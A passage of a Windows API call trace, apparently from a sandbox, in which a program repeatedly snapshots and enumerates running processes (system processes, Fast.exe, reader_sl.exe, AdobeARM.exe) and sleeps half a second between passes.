Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0214.289] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0214.290] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0214.292] CloseHandle (hObject=0x1ac) returned 1 [0214.292] Sleep (dwMilliseconds=0x1f4) [0215.346] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0215.352] Process32FirstW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.353] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.354] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.355] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.356] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.357] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.358] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.359] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.359] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.360] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0215.361] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.362] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.363] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.364] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.365] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.366] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.367] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.368] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.369] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.370] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.371] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0215.372] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0215.373] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.374] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.375] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0215.376] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0215.377] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0215.378] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0215.379] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0215.380] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0215.381] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0215.382] CloseHandle (hObject=0x164) returned 1 [0215.382] Sleep (dwMilliseconds=0x1f4) [0216.221] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0216.225] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.226] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0216.227] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0216.228] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.229] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0216.230] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.231] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.232] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.233] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.234] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0216.234] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.235] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.236] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.237] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.238] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.239] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0216.240] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.241] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.242] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.242] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.244] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0216.245] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0216.246] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.247] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.248] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0216.248] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0216.249] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0216.250] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0216.251] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0216.252] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0216.253] CloseHandle (hObject=0x1d0) returned 1 [0216.254] Sleep (dwMilliseconds=0x1f4) [0217.383] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0217.388] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.389] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.390] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.390] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.391] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.392] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.393] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.394] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.395] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.396] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0217.397] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.398] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.414] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.415] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.416] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.417] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.418] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.419] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 